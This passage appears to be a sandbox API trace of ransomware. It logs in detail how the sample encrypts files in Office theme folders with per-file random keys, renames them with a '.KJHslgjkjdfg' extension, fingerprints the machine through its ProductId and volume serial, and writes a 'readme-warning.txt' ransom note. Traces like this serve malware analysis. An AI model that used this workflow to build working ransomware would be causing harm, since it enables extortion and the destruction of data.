hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.173] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.173] GetProcessHeap () returned 0x990000 [0172.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.173] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.173] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.174] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.174] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.174] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x507, lpOverlapped=0x0) returned 1 [0172.174] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x510, dwBufLen=0x510 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x510) returned 1 [0172.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.174] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x510, lpOverlapped=0x0) returned 1 [0172.174] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.174] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.175] SetEndOfFile (hFile=0x12c) returned 1 [0172.177] GetProcessHeap () returned 0x990000 [0172.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.177] GetProcessHeap () returned 0x990000 [0172.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.178] CloseHandle (hObject=0x12c) returned 1 [0172.178] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.178] GetProcessHeap () returned 0x990000 [0172.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.178] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.178] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.178] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.184] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.184] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.184] GetProcessHeap () returned 0x990000 [0172.184] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.184] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.184] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.184] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.184] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.184] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.184] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.184] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.184] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.184] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.184] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.184] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.185] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6fb3, lpOverlapped=0x0) returned 1 [0172.188] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6fc0, dwBufLen=0x6fc0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6fc0) returned 1 [0172.189] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.189] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6fc0, lpOverlapped=0x0) returned 1 [0172.189] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.189] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.189] SetEndOfFile (hFile=0x12c) returned 1 [0172.191] GetProcessHeap () returned 0x990000 [0172.191] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.191] GetProcessHeap () returned 0x990000 [0172.191] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.195] CloseHandle (hObject=0x12c) returned 1 [0172.195] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.195] GetProcessHeap () returned 0x990000 [0172.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.195] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.195] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.195] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.195] GetProcessHeap () returned 0x990000 [0172.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.200] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.200] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.200] GetProcessHeap () returned 0x990000 [0172.200] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0172.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.200] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0172.200] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.200] GetProcessHeap () returned 0x990000 [0172.200] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.200] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.200] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.200] GetProcessHeap () returned 0x990000 [0172.200] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.200] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.200] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.200] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.201] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.201] RegCloseKey (hKey=0x12c) returned 0x0 [0172.201] GetProcessHeap () returned 0x990000 [0172.201] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.201] GetProcessHeap () returned 0x990000 [0172.201] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.201] GetProcessHeap () returned 0x990000 [0172.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.201] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.201] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.201] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.201] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.202] GetProcessHeap () returned 0x990000 [0172.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.202] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.202] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.202] GetProcessHeap () returned 0x990000 [0172.202] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.202] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt") returned 83 [0172.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.202] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.203] CloseHandle (hObject=0x12c) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.204] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.204] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0172.204] GetProcessHeap () returned 0x990000 [0172.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0172.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.205] GetProcessHeap () returned 0x990000 [0172.205] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.205] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.205] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0172.205] GetProcessHeap () returned 0x990000 [0172.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0172.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.206] GetProcessHeap () returned 0x990000 [0172.206] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.206] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.207] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.207] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.208] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.208] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.209] GetProcessHeap () returned 0x990000 [0172.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.209] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.209] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.209] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.209] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.209] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.209] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.209] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.209] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.209] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.209] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x116dc, lpOverlapped=0x0) returned 1 [0172.212] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x116e0, dwBufLen=0x116e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x116e0) returned 1 [0172.213] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.213] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x116e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x116e0, lpOverlapped=0x0) returned 1 [0172.213] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.213] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x117b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.213] SetEndOfFile (hFile=0x12c) returned 1 [0172.216] GetProcessHeap () returned 0x990000 [0172.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 